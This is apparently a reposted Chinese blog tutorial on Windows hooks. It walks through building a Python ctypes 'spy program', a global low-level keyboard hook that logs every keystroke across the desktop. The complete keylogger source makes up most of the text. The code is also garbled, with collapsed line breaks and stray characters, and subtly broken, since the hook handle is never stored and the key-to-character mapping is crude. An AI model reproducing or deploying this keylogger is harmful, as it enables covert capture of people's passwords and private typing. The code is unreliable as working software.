如何用 Python 監(jiān)聽軟件?

作者 |?寂夜云
來源 |?https://www.cnblogs.com/lonenysky/p/12341074.html
我們常聽說：如果要操作某個軟件或者監(jiān)聽某個軟件的話，可以使用鉤子（Hook）鉤住軟件，那這是如何操作的呢？用Python又如何實現(xiàn)呢？本教程我們將通過注冊Hook打造一款間諜程序，來監(jiān)聽win系統(tǒng)的筆記本，先給大家演示下效果吧！

一、Hook 技術(shù)程序的基本原理在于通過注冊Hook，記錄系統(tǒng)事件。那么什么是Hook呢？Hook 技術(shù)又叫做鉤子函數(shù)，系統(tǒng)在調(diào)用函數(shù)之前，鉤子程序就先捕獲該消息，鉤子函數(shù)先得到控制權(quán)，這時鉤子函數(shù)既可以加工處理（改變）該函數(shù)的執(zhí)行行為，還可以強制結(jié)束消息的傳遞

注冊Hook時我們需要使用到兩個DLL庫：user32.dll和kernel32.dll。這兩個DLL有什么用處呢：

• user32.dll：是Windows用戶界面相關(guān)應(yīng)用程序接口，用于包括Windows處理，基本用戶界面等特性，如創(chuàng)建窗口和發(fā)送消息
• kernel32.dll：控制著系統(tǒng)的內(nèi)存管理、數(shù)據(jù)的輸入輸出操作和中斷處理

二、實現(xiàn)

1. idHook：鉤子的類型，可以監(jiān)聽消息、鍵盤、鼠標等等，這里我們來監(jiān)視低級鍵盤輸入事件作為案例演示！
2. lpfn：鉤子函數(shù)，這里就表示你監(jiān)聽到事件后要怎么處理，核心作用！
3. hmod：DLL句柄(類似編號)，我們可以使用kernel32中的GetModuleHandleW來獲取句柄
4. dwThreadId：我們填入0代表與同一桌面上所有的線程關(guān)聯(lián)
   

ctypes 是 Python 的外部函數(shù)庫。它提供了與 C 兼容的數(shù)據(jù)類型，并允許調(diào)用?DLL?或共享庫中的函數(shù)。可使用該模塊以純 Python 形式對這些庫進行封裝。

from ctypes import CDLL
user32 = CDLL("user32.dll")kernel32 = CDLL("kernel32.dll")
user32.SetWindowsHookExA(13, handleProc, kernel32.GetModuleHandleW(), 0)

def hookProc(nCode, wParam, lParam):    if nCode < 0:        return user32.CallNextHookEx(hooked, nCode, wParam, lParam)    else:        # 此處插入我們的代碼        pass    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

3.刪除Hook

def uninstallHookProc(hooked):    if hooked is None:        return    user32.UnhookWindowsHookEx(hooked)    hooked = None

def hookProc(nCode, wParam, lParam):    if nCode < 0:        return user32.CallNextHookEx(hooked, nCode, wParam, lParam)    else:        if wParam == 256:            if 162 == lParam.contents.value:                print("Ctrl pressed, call Hook uninstall()")                uninstallHookProc(hooked)                sys.exit(-1)            capsLock = user32.GetKeyState(20)            if lParam.contents.value == 13:                print("\n")            elif capsLock:                print(chr(lParam.contents.value), end="")            else:                print(chr(lParam.contents.value + 32), end="")    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

通過ctypes文檔我們可以得知Windows下使用WINFUNCTYPE來聲明函數(shù)原型！

# 創(chuàng)建聲明，c_int表示函數(shù)入?yún)㈩愋?/span>HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))# 聲明函數(shù)原型handleProc = HOOKPROC(hookProc)

user32.SetWindowsHookExA(13, handleProc, kernel32.GetModuleHandleW(), 0)

import sysfrom ctypes import *from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAMuser32 = CDLL("user32.dll")kernel32 = CDLL("kernel32.dll")class KBDLLHOOKSTRUCT(Structure):    _fields_ = [        ('vkCode', DWORD),        ('scanCode', DWORD),        ('flags', DWORD),        ('time', DWORD),        ('dwExtraInfo', DWORD)]def uninstallHookProc(hooked):    if hooked is None:        return    user32.UnhookWindowsHookEx(hooked)    hooked = Nonedef hookProc(nCode, wParam, lParam):    if nCode < 0:        return user32.CallNextHookEx(hooked, nCode, wParam, lParam)    else:        if wParam == 256:            if 162 == lParam.contents.value:                print("Ctrl pressed, call Hook uninstall()")                uninstallHookProc(hooked)                sys.exit(-1)            capsLock = user32.GetKeyState(20)            if lParam.contents.value == 13:                print("\n")            elif capsLock:                print(chr(lParam.contents.value), end="")            else:                print(chr(lParam.contents.value + 32), end="")    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)def startKeyLog():    msg = MSG()    user32.GetMessageA(byref(msg), 0, 0, 0)def installHookProc(hooked, handleProc):    hooked = user32.SetWindowsHookExA(        13,        handleProc,        kernel32.GetModuleHandleW(),        0    )    if not hooked:        return False    return TrueHOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))handleProc = HOOKPROC(hookProc)hooked = Noneif installHookProc(hooked, handleProc):    print("Hook installed")    try:        msg = MSG()        user32.GetMessageA(byref(msg), 0, 0, 0)    except KeyboardInterrupt as kerror:        uninstallHookProc(hooked)        print("Hook uninstall...")else:????print("Hook?installed?error")